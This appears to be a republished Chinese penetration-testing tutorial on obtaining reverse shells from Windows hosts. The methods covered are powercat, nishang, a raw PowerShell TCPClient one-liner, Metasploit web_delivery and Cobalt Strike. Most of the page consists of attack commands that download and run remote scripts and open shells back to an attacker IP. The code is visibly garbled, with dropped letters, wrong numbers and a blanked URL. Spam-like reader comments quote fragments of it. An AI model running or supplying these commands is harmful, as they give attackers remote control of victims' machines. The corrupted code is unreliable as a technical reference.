Windows环境下反弹shell各类姿势
Windows环境下反弹shell各类姿势
文章前言
在渗透测试过程中我们有时候需要通过Windows平台来反弹shell到我们的VPS主机以及CS端,那么这个过程中我们就需要借助Windows平台内置的可执行程序来执行命令,其中首选的就是powershell,本篇文章我们主要介绍如何通过Windows平台中如何通过powershell来反弹shell操作
反弹shell
powercat反弹
powercat()是一个PowerShell函数,首先你需要加载这个函数才能执行它,你可以将下面的命令之一放入你的PowerShell配置文件中,这样在PowerShell启动时powercat就会自动加载,下面我们介绍powercat如何进行反弹shell并获取服务器端的权限:
Step 1:在攻击端一侧监听端口
代码语言:javascript代码运行次数:0运行复制nc -lnvp 4444
Step 2:在攻击端一侧使用python托管一个powershell文件
代码语言:javascript代码运行次数:0运行复制python2 -m SimpleHTTPServer 124
Step :目标机反弹cmdshell
代码语言:javascript代码运行次数:0运行复制powershell IEX (ew-Object Webclient).DownloadString('http://192.168.204.144:124/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd
Step 4:在供给端一侧成功收取到反弹的shell
Reverse TCP shell
ishang()是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的Reverse shell,下面我们简单的演示一下关于如何使用ishang来反弹shell的操作:
Step 1:在攻击端一侧监听端口
代码语言:javascript代码运行次数:0运行复制nc -lnvp 4444
Step 2:在攻击端一侧使用python托管文件
代码语言:javascript代码运行次数:0运行复制python2 -m SimpleHTTPServer 124
Step :反弹shell操作
代码语言:javascript代码运行次数:0运行复制powershell IEX (ew-Object et.WebClient).DownloadString('http://192.168.204.144:124/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.144 -port 4444
Step 4:随后成功反弹shell
Reverse UDP shell
Step 1:在攻击端一侧监听端口
代码语言:javascript代码运行次数:0运行复制nc -lup 6666
Step 2:在攻击端一侧使用python托管文件
代码语言:javascript代码运行次数:0运行复制python2 -m SimpleHTTPServer 124
Step :反弹shell操作
代码语言:javascript代码运行次数:0运行复制powershell IEX (ew-Object et.WebClient).DownloadString('http://192.168.204.144:124/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.204.144 -port 6666
Step 4:随后成功反弹shell
Reverse ICMP shell
Step 1:在攻击端一侧使用python托管文件
Step 2:在攻击端下载icmpsh_m.py文件忽略所有的ICMP数据包并开启监听
代码语言:javascript代码运行次数:0运行复制#格式说明
icmpsh_m.py Usage:
python icmpsh_m.py [Attacker IP] [Victim IP]
#执行实例
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python2 icmpsh_m.py 192.168.204.144 192.168.204.145 #开启监听
Step :反弹shell操作
代码语言:javascript代码运行次数:0运行复制powershell IEX (ew-Object et.WebClient).DownloadString('http://192.168.204.144:124/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.204.144
Step 4:随后成功获取到反弹的shell
备注:如果提示"You need to install Python Impacket library first",则需要通过安装impacket来执行
代码语言:javascript代码运行次数:0运行复制git clone .git
cd impacket/
python setup.py install
自定义powershell类
我们可以利用powershell创建一个et.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1,
Step 1:攻击者开启监听
代码语言:javascript代码运行次数:0运行复制nc -lnvp 4444
Step 2:在受害者主机执行以下命令
代码语言:javascript代码运行次数:0运行复制powershell -nop -c "$client = ew-Object et.Sockets.TCPClient('192.168.204.144',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..6555|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (ew-Object -Typeame System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Step :成功反弹shell
通过使用MSF反弹shell
我们可以利用metasploit的web_delivery模块并使用python、php、powershell、regsvr2等进行反弹shell:
Step 1:在攻击者一侧进行监听
代码语言:javascript代码运行次数:0运行复制use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.204.144
set LPORT 4444
exploit
Step 2:在受害者主机中执行上述命令
Step :随后成功反弹shell
Cobalt strike反弹shell
Cobalt strike的Scripted Web Delivery模块可通过bitsadmin、powershell、python、regsvr2等进行反弹shell,类似metasploit的web_delivery模块
Step 1:运行Cobalt strike并创建一个Listener, 点击"Cobalt Strike->Listeners",然后点击Add便可创建Listeners
Step 2:生成powershell payload,点击"Attack -> Web Drive-by -> Scripted Web Delivery",Type选择powershell
Step :随后在目标主机上执行上述命令
Step 4:随后成功收到反弹的shell
文末小结
本篇文章我们主要介绍了Windows平台中如何反弹shell到我们攻击者主机的目的~
推 荐 阅 读
横向移动之RDP&Desktop Session Hija
本文参与 腾讯云自媒体同步曝光计划,分享自。原始发表:2025-01-04,如有侵权请联系 cloudcommunity@tencent 删除shellpowershellwindows函数主机#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格
推荐阅读
留言与评论(共有 10 条评论) |
本站网友 保利世贸公寓 | 0秒前 发表 |
powershell | |
本站网友 房地产广告发布暂行规定 | 16分钟前 发表 |
//192.168.204.144 | |
本站网友 怎么能减肥快 | 13分钟前 发表 |
0 | |
本站网友 多腿鸡 | 4分钟前 发表 |
//192.168.204.144 | |
本站网友 潘石屹身高 | 2分钟前 发表 |
4444);$stream = $client.GetStream();[byte[]]$bytes = 0..6555|%{0};while(($i = $stream.Read($bytes | |
本站网友 治疗失眠的食物 | 20分钟前 发表 |
其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1 | |
本站网友 我叫红领巾 | 4分钟前 发表 |
点击"Cobalt Strike->Listeners" | |
本站网友 黑脸娃娃做几次好 | 29分钟前 发表 |
//192.168.204.144 | |
本站网友 沂南 | 9分钟前 发表 |
其中首选的就是powershell |